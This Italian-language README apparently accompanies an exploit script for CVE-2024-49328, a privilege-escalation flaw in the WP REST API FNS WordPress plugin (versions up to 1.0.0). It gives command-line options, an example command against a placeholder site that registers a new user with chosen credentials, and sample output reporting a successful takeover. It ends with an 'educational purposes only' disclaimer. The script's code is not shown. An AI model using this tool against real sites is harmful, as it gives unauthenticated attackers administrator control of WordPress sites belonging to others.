CVE-2024-49328-exploit

🌟 Descrizione:

Questo script sfrutta una vulnerabilità di escalation dei privilegi nel plugin WP REST API FNS per WordPress. La vulnerabilità interessa tutte le versioni fino alla 1.0.0 inclusa, consentendo a utenti non autenticati di ottenere privilegi di amministratore.

⚙️ Utilizzo

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Base URL of the WordPress site
  -e NEWEMAIL, --Newemail NEWEMAIL New email to register
  -p PASSWORD, --password PASSWORD Password for the new user
                        

Comando di esempio:

python CVE-2024-49328.py -u http://targetsite.com -e [email protected] -p password123

🔍 Dettagli dello sfruttamento

➡️ Esempio di output

Found Stable tag version: 1.0.0
Version 1.0.0 is exploitable.
Exploiting the site... Please wait.
Successfully
Username: [email protected]
Password: nxploit

Installa i pacchetti richiesti

pip install requests

⚠️ Avvertenza

🚨 Avvertenza:

Questo script è solo per scopi educativi. L'uso non autorizzato di questo script su sistemi senza esplicito permesso è illegale e non etico.